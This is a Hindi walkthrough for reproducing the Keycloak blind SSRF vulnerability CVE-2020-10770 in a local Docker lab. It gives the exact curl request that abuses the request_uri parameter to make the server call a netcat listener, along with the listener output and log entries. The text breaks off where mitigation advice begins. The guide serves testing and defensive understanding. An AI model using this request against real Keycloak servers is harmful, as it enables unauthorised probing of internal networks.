
चरण-दर-चरण मार्गदर्शिका जो Docker सेटअप, लिसनर कॉन्फ़िगरेशन, और शमन सलाह के साथ Keycloak ब्लाइंड SSRF भेद्यता (CVE-2020-10770) को पुनः उत्पन्न करने के लिए है।
यह ब्लाइंड SSRF (CVE-2020-10770) का परीक्षण कैसे करें, इसके बारे में एक चरण-दर-चरण वॉक-थ्रू है, जिसे Lauritz Holtmann ने खोजा और अपने ब्लॉग पोस्ट में प्रलेखित किया।
उन्होंने संक्षेप में यह भी बताया कि इसका परीक्षण कैसे करें। यह केवल एक अधिक विस्तृत व्याख्या है।
सभी श्रेय Lauritz को जाते हैं।
मैं यहाँ Mac OSX पर Docker का उपयोग करता हूँ।
मुझे तीन शेल की आवश्यकता थी, एक Keycloak इंस्टेंस चलाने के लिए, एक लिसनर के लिए और एक curl अनुरोध के लिए।
आपको <= 12.0.1 संस्करण वाला एक चालू Keycloak इंस्टेंस चाहिए।
आप निम्न कमांड के साथ एक परीक्षण इंस्टेंस शुरू कर सकते हैं।
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
ब्राउज़र में http://localhost:8080/auth/admin/ पर जाएँ और उपयोगकर्ता नाम "admin" और पासवर्ड "admin" के साथ लॉगिन करें।
बाईं ओर मेनू "Clients" पर स्विच करें। यह आपको Clients अवलोकन पर ले जाएगा।

दाईं ओर एक नया क्लाइंट बनाने के लिए "Create" पर क्लिक करें। यह आपको क्लाइंट निर्माण पृष्ठ पर ले जाएगा।

अपने Oauth2 क्लाइंट के लिए एक उचित "Client ID" चुनें। मैं यहाँ "blueteamoauth2client" के साथ जाता हूँ (यह आपका <Keycloak_Client_ID> है)। यदि आप कोई अन्य Client ID उपयोग करते हैं, तो आपको हमले के http अनुरोध में एक क्वेरी पैरामीटर बदलना होगा। क्लाइंट सेटअप को अंतिम रूप देने के लिए सेव पर क्लिक करें।

अब आप हमारे नए Oauth2 क्लाइंट की सेटिंग्स देखेंगे।

डिफेंडिंग भाग के लिए बस इतना ही।
आपको एक लिसनर की आवश्यकता है जो उस अनुरोध को स्वीकार कर रहा हो जिसे हम अपने SSRF के साथ ट्रिगर करना चाहते हैं। इसलिए ip और पोर्ट Keycloak सर्वर से पहुँच योग्य होना चाहिए।
आप उस स्थिति में localhost का उपयोग नहीं कर सकते, क्योंकि Keycloak के दृष्टिकोण से localhost कंटेनर के भीतर ही होगा।
Mac OS में ip पता प्राप्त करने के लिए आप उपयोग कर सकते हैं
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
मैंने अपने होस्ट सिस्टम पर पोर्ट 4444 पर लिसनर शुरू करना चुना।
nc -v -l 4444
एक अन्य शेल में आपको curl के साथ एक अनुरोध करना होगा। आपको इसे अपनी आवश्यकताओं के अनुसार बदलना होगा।
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
महत्वपूर्ण भाग हैं:
तो मेरे मामले में क्वेरी है
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
netcat लिसनर में आपको कुछ इस तरह दिखाई देगा।
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
इसका मतलब है कि Keycloak इंस्टेंस ने आपके लिसनर पर एक http कॉल किया।
Keycloak लॉग में भी इसके बारे में प्रविष्टियाँ होंगी।
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
इसे कम करने के लिए आप या तो कर सकते हैं।